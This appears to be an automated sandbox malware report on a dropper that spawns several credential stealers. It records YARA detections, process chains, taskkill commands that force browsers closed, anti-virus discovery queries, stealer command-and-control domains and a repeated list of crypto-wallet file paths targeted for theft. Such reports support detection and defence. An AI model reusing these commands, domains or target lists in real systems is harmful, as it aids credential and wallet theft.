Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CACB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CACB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 3776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 215a689fd9.exe PID: 7928, type: MEMORYSTR

Detected PureCrypter Trojan

Source: ea2bf34af0.exe, 0000001D.00000003.2954801749.00000000054B1000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-64,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1473016-1-8,P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.0.0"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"enableFeatures":["msEnableZeroSearchResults"]},"PasswordZeroStateV2":{"enableFeatures

LummaC encrypted strings found

Source: ea2bf34af0.exe, 0000001D.00000002.3291493312.00000000001E1000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: ea2bf34af0.exe, 0000001D.00000002.3291493312.00000000001E1000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: ea2bf34af0.exe, 0000001D.00000002.3291493312.00000000001E1000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: peepburry828.sbs
Source: ea2bf34af0.exe, 0000001D.00000002.3291493312.00000000001E1000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: p10tgrace.sbs
Source: ea2bf34af0.exe, 0000001D.00000002.3291493312.00000000001E1000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: processhol.sbs

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIJKFHDBKFC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIJKFHDBKFC.exe "C:\Users\user\DocumentsIJKFHDBKFC.exe"
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe "C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe "C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe "C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe "C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 54e727f733.exe, 00000021.00000002.3069919071.0000000001062000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: firefox.exe, 0000002E.00000002.3209728589.000000D689FFB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: file.exe, file.exe, 00000000.00000002.2619046640.0000000000C78000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CACB341 cpuid

0_2_6CACB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007063001\e4e71e967a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007063001\e4e71e967a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA935A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CA935A0

Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: ea2bf34af0.exe, 0000001D.00000003.3216496442.00000000054B2000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3054646743.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3063782732.00000000054B1000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3246606362.00000000054B9000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3217652522.0000000000D35000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.DocumentsIJKFHDBKFC.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000003.2619629445.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2669928889.0000000000951000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2660957852.00000000003E1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2580735137.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2722925376.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2704131387.00000000003E1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2663887196.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000021.00000003.2989804044.0000000000B64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 54e727f733.exe PID: 8876, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ea2bf34af0.exe PID: 8376, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2620717305.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2155994551.0000000005080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2618383963.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2987335924.000000000122E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2945914551.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2986151483.00000000004F1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 215a689fd9.exe PID: 7928, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3776, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
